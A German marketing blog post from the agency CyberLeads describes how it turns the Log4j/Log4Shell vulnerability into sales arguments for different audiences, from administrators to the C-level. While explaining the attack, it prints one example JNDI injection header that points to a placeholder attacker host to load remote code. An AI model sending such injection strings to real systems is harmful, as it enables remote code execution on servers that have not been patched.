Wissen und Austausch für IT‒Marketing
CYBERLEADS Blog
Hier bekommen Sie exklusive Einblicke hinter die Kulissen unserer Denkweise. Technologie trifft auf Business und Sales auf technische Insights.
Das sind die Fragen, die wir uns stellen, bevor wir Werbe-Kampagnen schalten.
In 5 Schritten vom komplexen IT‒Thema zur Salespower
Was ist das Problem im klassischen IT-Vertrieb? Was hat das mit unseren Kampagnen zu tun?
1. Die Realität im IT‒Sales
In diesem Blogpost möchte ich ein Thema analysieren, das mir von Beginn an in der IT‒Branche aufgefallen ist. Auch trägt das Anteile, warum uns die Idee für CyberLeads ‒ Demand Engine initial überhaupt so wertvoll erschien.
Ich spreche davon, dass Sales‒Mitarbeiter in der IT fast immer ihr technisches Wissen über Erfahrung durch etliche Kundengespräche, spärlich kommuniziertes technisches Wissen der IT‒Abteilung oder durch langjährige unternehmensspezifische Produkterfahrung sammeln mussten.
Die Krux der Kaltakquise in der IT
Da heutzutage immer noch auf die gute alte Kaltakquise gesetzt wird, müssen Sales‒Mitarbeiter Anrufe bei oft technisch weniger informierten Kunden tätigen und diese von der Dringlichkeit des Themas und den positiven Auswirkungen überzeugen.
Das erzeugt einen anstrengenden Austausch, da auf der Kundenseite meistens jemand kontaktiert wird, der, auch häufig zurecht, keine technische Expertise aufweisen kann und auf der Verkäuferseite jemand leidenschaftlich von einem faszinierenden Produkt spricht, das er nicht vollständig versteht.
Wenn Trends Vertrauen kosten
Ein weiterer Aspekt, der hierbei sehr oft übersehen wird, ist, dass Menschen, die nicht täglich die neusten Trends in der IT verfolgen, oft auch vermeintlich dringliche Themen gar nicht erst in ihren Gesprächen nutzen. Irgendwann kristallisiert sich das Thema von allein heraus, weil es bereits alle anderen Firmen vermarkten.
Wenn es nicht gerade Log4j ist, sind Trends auch oft irreführend:
Sehr häufig wird etwas durch die Medienlandschaft gejagt, das sich am Ende als völlig banal herausstellt.
Die neue Realität im IT‒Marketing
Zeiten ändern sich und die Marketing‒Landschaft ändert sich mit. Heutzutage verlassen sich moderne IT‒Unternehmen nicht mehr nur auf klassisches Sales. Immer mehr junge Unternehmen schicken ihre Experten auf Konferenzen zum Netzwerken und Ausschreibungen ermöglichen es, auch passiv am Markt teilzunehmen (wenn auch weniger erfolgreich, ohne starkes Branding und Online‒Präsenz). Im allerbesten Fall wird Online Marketing gezielt, strategisch und mit System eingesetzt ‒ und hier kommt CyberLeads ins Spiel.
Vom Transistor zum C‒Level
Dieser Post zeigt den Prozess, wenn wir unser technisches Wissen, das bis zum letzten Transistor reicht, mit strategisch klugem und anziehendem Marketing vereinen?
Die 4 Ebenen technischer Tiefe
Zuallerst lieben wir technische Inhalte. Diese Inhalte konsumieren wir, wie Techniker es eben tun: Wie funktioniert es, wie wird es implementiert, welche Programmiersprache, welche Architektur, was für eine Systemanforderung.
Hier hört es aber nicht auf: Im nächsten Schritt erörtern wir die Auswirkung auf die direkte umliegende IT‒Landschaft: Gefahren durch Benutzung, Anbindungen an bspw. das Logging, Authentisierung, Firewalls, Berechtigungen ... Das Spielfeld der Administratoren.
Anschließend denken wir wieder einen Schritt weiter: Hier sind wir schon im technisch‒organisatorischen Bereich: Ist es auditfähig und compliant? Wo sind die Verantwortlichkeiten, welches Budget wird eingesetzt, wie läuft die Schnittstelle zwischen Technik und Management? ... Hier befinden sich die Menschen mit dem Titel Head of IT, Technical Lead usw.
Dann sind wir in der Chefetage ‒ in unserem Fall beim CISO, CTO und CEO: Diese Fragen sich, was das kostet, welche Vorteile es hat, wie teuer, wenn etwas schief geht? Was sind die Vorteile gegenüber der Konkurrenz (nutzen es die anderen überhaupt)? Könnte es ein PR‒Problem werden? Werden wir schneller oder kompliziert das unnötig?
Man erkennt, dass jede Gruppe eine andere technische Tiefe benötigt, andere Schmerzpunkte fühlt und unterschiedliche intrinsische Verantwortung wahrnimmt.
Im besten Fall also spricht ein Verkäufer mit allen gleichzeitig und im richtigen Moment, in der richtigen Art und Weise.
Soweit der abstrakte Ablauf unserer Denkprozesse, wenn wir passgenaue Werbung schalten.
Schritt 1: Themenfindung
Wir fragen uns also, für welche Probleme sind Expertise und Produkte vorhanden. Angenommen, wir haben ein IT-Security Unternehmen. Der Sales-Mitarbeiter hat hier die Aufgabe, entsprechende Probleme und die angebotene Lösung bei den Kunden darzulegen.
Hier ist es günstig, konkrete Angriffe oder Schadensmeldungen von echten und aktuellen Ereignissen darzulegen, die zu den Lösungen des Unternehmens passen. Wie man über relevante Ereignisse auf dem Laufenden bleibt, wird vermutlich der Inhalt eines anderen Posts.
Einfachheitshalber und weil dieses Thema jedem in der IT ein Begriff sein wird und eine hohe Wahrscheinlichkeit für technisches Vorwissen gegeben ist, halten wir uns in diesem Post an die Log4j-Schwachstelle. Hier hatten Vertriebler zugegebenermaßen Rückendeckung durch die Medien und die dramatische Größe, aber wer wirklich angreifbar war, wusste dann doch einige nicht so genau. Direkt nach der Entdeckung wurde die Lücke vielfach für Kryptominer verwendet. Später folgten Trojaner, Ransomware, Botnetze (z. B. Mirai, Conti).
Schritt 2: Technische Tiefe
Wie funktioniert der Angriff auf technischer Ebene?
Angreifer senden einen harmlos aussehenden HTTP-Request z. B. mit manipuliertem User‑Agent-Header:
User‑Agent: ${jndi:ldap://angreifer.com/a}.
Log4j parst diesen String, entdeckt das ${jndi:…}‒Pattern und lädt damit eine Payload vom Angreifer-Server.
Der Payload wird über JNDI + LDAP / RMI geladen: Der angegriffene Server lädt also einen Payload in Form einer Java-Klasse vom Server des Angreifers und führt diesen auf dem lokalen System aus. Das führt zu einer Remote Code Execution (RCE). Dadurch kontrolliert der Angreifer den Server im Berechtigungskontext des Dienstes. Läuft nur, wenn das System Internetzugang hat und LDAP / RMI-Verbindungen zulässt.
Erste Patches beschränkten irgendwann die Protokolle, aber später wurden Bypass-Varianten entwickelt wie bspw. CVE-2021-45046.
Und gefährlich ist dieser Angriff dehalb, da dieser HTTP-Request nicht direkt an den Log-Service, sondern an einfach alle möglichen Eingabefelder gesendet werden kann: Usernamen, URLs, HTTP-Header - einfach alle Felder, die in internen Logs verarbeiten werden könnten.
Hauptsächlich sind diese angreifbaren Schnittstellen intern vorzufinden. In Spring‑Boot‑Microservices, Apache‑Produkte (Struts, Solr, Flink, Druid, Elasticsearch, Dubbo, Logstash) wird Log4j als internes Logging‑Backend genutzt.
Aber auch häufig extern: So gut wie jede Java‑basierte Webschnittstelle, z. B. APIs, Web‑Alben, Nutzer‑Portale, loggt HTTP‑Header (User-Agent, URL, Referer usw.). Sogar Cloud‑Instanzen wie AWS, Azure, GCP oder SaaS‑Tools nutzen in zahlreichen internen Services Log4j, wodurch auch externe Angriffsflächen entstehen.
Jedenfalls ist eine Authentifizierung definitiv nicht zwingend notwendig.
Analysen zeigten, dass 93 % aller Enterprise‑Cloud‑Umgebungen betroffen waren.
Auch wissen Hacker in so einem Fall um das Patch-Management von Java-Applikationen. Oft wird dabei noch jahrelang mit alten Versionen gearbeitet. Patchvorgänge werden vorsichtig eingeleitet und führen nicht selten dazu, dass ein zentrales System nicht mehr funktioniert.
Wie arbeiten Hacker nun, um diese angreifbaren System schnell zu identifizieren? Ganz klare Antwort: Scanner. Hacker scannen einfach alles was sie finden und senden den genannten HTTP-Header, während sie überwachen, welche Logging-Server antworten.
An diesem Punkt kann man die Learnings für ein gutes Sales-Gespräch schonmal zusammenfassen.
Angriffe laufen über einfache Felder, die sonst niemand beachtet. Selbst passive Services wie API-Gateways, Monitoring-Tools oder Reverse-Proxys sind verwundbar.
Diese Lücke ist also so groß, dass ein Hacker nur einen manipulierten Request senden müsste und der Server führt ohne weitere Schritte Code aus.
Durch das Logging sind die INTERNEN Logging-Server betroffen, die Daten von externen Diensten aufzeichnen.
Mit an Sicherheit grenzender Wahrscheinlichkeit ist das Patchmanagement bei diesen Systemen nicht optimal.
Denn Updates sind oft manuell und Risikobehaftet. Selbst die größten Unternehmen patchen diese Systeme also nicht, weil zu viel dran hängt.
Durch die gute Nachweisbarkeit der Verwundbarkeit der Systeme, können Hacker einfach das ganze Internet scannen.
Kunden müssen nicht alles gleichzeitig schützen. Aber wissen, wo sie stehen und was angreifbar ist. Genau da helfen wir.
Schritt 3: Die IT‒Landschaft
Vor allem dort, wo Systeme miteinander reden bzw. Logs geschrieben werden, ist dieser Angriff gefährlich. Also im Grunde in der ganzen IT‒Landschaft.
Jede Komponente, die Eingaben ins Log schreibt (Webserver, Application Server, Proxies, ... ) sind potentiell angreifbar. Administratoren sind nun also von einer guten Dokumentation abhängig und müssen schnellstmöglich herausfinden, welche Systeme diese Logging‒Mechanismen verwendet und dann auch die Versionsstände in Erfahrung bringen sowie retrospektiv in Erfahrung bringen, wieso diese nicht gepatcht wurden.
Wo überall sind Services erreichbar, die von extern angegriffen werden konnten ‒ direkt wie indirekt (SSO, IAM)? Gibt es diese Angriffs‒Patterns in Logs und wo sind diese Logs? Sind die Web‒(Firewalls) mit den Mustern vertraut oder brauchen diese Pattern‒Updates?
Welche der potentiell betroffenen Systeme haben die höchste Berechtigung bzw. wo würde eine Kompromitierung den meisten Schaden verursachen?
Admins mussten in kürzester Zeit nicht nur Patches für einzelne Systeme installieren, sondern alle Verbindungen verstehen.
Diese Stelle ist eine perfekte Brücke für das Sales: Man kann hier Admins auf die reale Größe der Aufgabe aufmerksam machen, was eine Hilfeleistung attraktiver macht.
Admins stehen vor einem haufen ungeplanter Tasks. Das Patchen ist nicht das Problem, sondern das ausfindig machen der Systeme, auf denen Log4j im Netzwerk läuft und wiederum, welche Systeme in diesen Log schreiben.
Admins kämpften hier nicht mit der Lücke, sondern mit der Komplexität und nichts kann hier wertvoller erscheinen, als eine klare Führung zur klaren Übersicht.
Schritt 4: Die organisatorische Sicht
Der Exploit war zugegeben sehr heftig und das kommt nicht allzu häufig vor. Der Vorfall zeigte aber: Das eigentliche Risiko liegt in fehlender Übersicht und unklaren Zuständigkeiten.
Ein Head of IT oder Technical Lead fragt sich in so einem Fall: Wer patcht was? Wer priorisiert? Wer muss informiert werden, wenn ein Angriff erfolgreich ist? Oder zusammengefasst: Das Security‒Team weiß von der Lücke, das Team für die Infrastuktur weiß nicht, was betroffen ist und Management weiß nicht, wie kritisch es ist. Wie gehen wir vor? Ein derartiger Extraufwand sprengt sicherlich an vielen Stellen das Budget und das Zeitkontingent. F
Deshalb ist auch hier das stärkste Bedürfnis unsere Zielgruppe eine klare Führung zu einer klaren Priorisierung, Risikoabschätzung und Identifizierung der Systeme. Das, was die IT‒Security durch das Scannen (wie es die Hacker tun), liefern kann. Außerdem wissen IT‒Security spezialisten oft sehr viel besser Bescheid, welche Auswirkung die Kompromitierung bestimmter Server tatsächlich hätte.
Viele Angriffe wie Log4Shell eskalieren nicht wegen der Technik – sondern weil keiner weiß, wer was tut. Unsere Lösung hilft, genau das zu klären: Zuständigkeiten, Reaktionsketten, Prioritäten.
IT-Budget und Zeitkontingente werden gesprengt. Nicht wegen zu hoher Kosten, sondern wegen fehlender Übersicht. Genau da setzen wir an: Mit Priorisierung, realer Risikoabschätzung und einer Bestandsaufnahme der Systeme.
Schritt 5: Das C‒Level
Die Interessenfelder des C-Level belaufen sich meistens auf folgende Punkte: Schnelle Beseitigung der Probleme bedeutet schnelle Wiederaufnahme des Betriebs. Kosten durch einen möglichen Angriff werden durch eine schnelle Beseitigung unwahrscheinlich. Eine klare Übersicht über Systeme und Patchvorgänge lassen die Downtime von möglichweise tragenden Systemen abschätzen und einkalkulieren oder gänzlich vermeiden. Wie kommunizieren wir selbstbewusst und transparent an unsere Kunden, Investoren und Aktionäre? Sind wir bereits betroffen und müssen mit Ausfällen rechnen? Wie stehen andere Firmen da?
In dieser Ebene will auch erst einmal niemand wissen, wie der Exploit funktioniert, sondern eine klare Aussage über Gefahren erhalten, um Entscheidungen anhand vertrauensvoller Informationen schnell und günstig treffen zu können.
Außerdem ist Klarheit in der Kommunikation hier oft Gold wert: "Haben sie unsichere Systeme durch Log4j ?". "Ja, wir haben alles im Griff und alle Systeme aus dem Spiel genommen oder aktualisiert".
Wir scannen die Infrastruktur genau wie Hacker. Damit hat der Kunde absolute Klarheit, eine klare Priorität und damit finanzielle Berechenbarkeit.
Wir sind eine der wenigen Quellen, die einen kompetenten Vergleich unterschiedlicher Firmen anstellen können.
Zusammenfassung
Nach dieser Analyse können wir also folgende Punkte für unser Sales, die Ad-Hooks und Pitches festhalten.
Hin zu
Weg von
Mit diesem Kontext, könnte ein Sales‒Gespräch nun wie folgt ablaufen.
Wir helfen Unternehmen, ihre Infrastruktur genau wie ein Angreifer zu scannen. Das schafft Übersicht über Systeme, Verantwortungen und tatsächlichen Risiken.
Der Angriff läuft über Felder, die niemand beachtet. User‒Agents, Header, alles was ins Log geht. Es ist kein Login oder Zugang nötig nur ein HTTP‒Request, der dann auf internen Systemen Code ausführen kann. Das könnte jeder Student ausnutzen.
Das Problem ist hier nicht das Patchen der Systeme sondern erstmal rauszufinden, welche Systeme überhaupt betroffen sind. Welches System schreibt wohin die Logs? Welche Services sind verbunden? Welche Tools verwenden Log4j?
Wir geben Admins sofort die Übersicht, was wirklich betroffen ist, damit ihr sofort in Handlung gehen könnt.
Das ist wichtig, denn viele Angriffe eskalieren nicht, weil es eine Lücke gibt, sondern weil niemand weiß, wer was tut.
Wir helfen genau das zu klären: Wer ist verantwortlich, was ist die Priorität, und wie sieht ein realistisches Szenario zum Beseitigen aus?
Auch nach der Umsetzung prüfen wir, ob wirklich alles sicher ist.
Das verhindert unnötigen Aktionismus und Sie wissen genau, was zu tun ist. Übersicht, Priorisierung und Identifizierung der Systeme, auch Vergleich innerhalb der Branche durch unsere direkten Insights. Damit haben Sie intern einen vollständigen Lagebericht an alle Aktionäre, Investoren, Kunden und Chefetagen.
Sie müssen jetzt nicht alles gleichzeitig schützen. Aber Sie müssen wissen, wo Sie stehen und was angreifbar ist.
Und der Schritt, um daraus eine starke Werbeanzeige zu erstellen, ist dann nicht mehr groß.
© 2025 CyberLeads. Alle Rechte vorbehalten.
info@cyberleads.de, +49 176 705 99 705
Diese Website ist nicht Teil der Facebook-Website oder von Facebook Inc. Darüber hinaus wird diese Website in keiner Weise von Facebook unterstützt. Facebook ist eine Marke von Facebook, Inc. Zusätzlich verwenden wir auf dieser Website Remarketing-Pixel/Cookies von Google, LinkedIn und ggf. anderen Anbietern, um erneut mit Besuchern zu kommunizieren und sicherzustellen, dass wir sie in Zukunft mit relevanten Nachrichten und Informationen erreichen können.Diese Anbieter schalten unsere Anzeigen auf Websites Dritter im Internet, um unsere Botschaft zu kommunizieren und die richtigen Personen zu erreichen, die in der Vergangenheit Interesse an unseren Informationen gezeigt haben.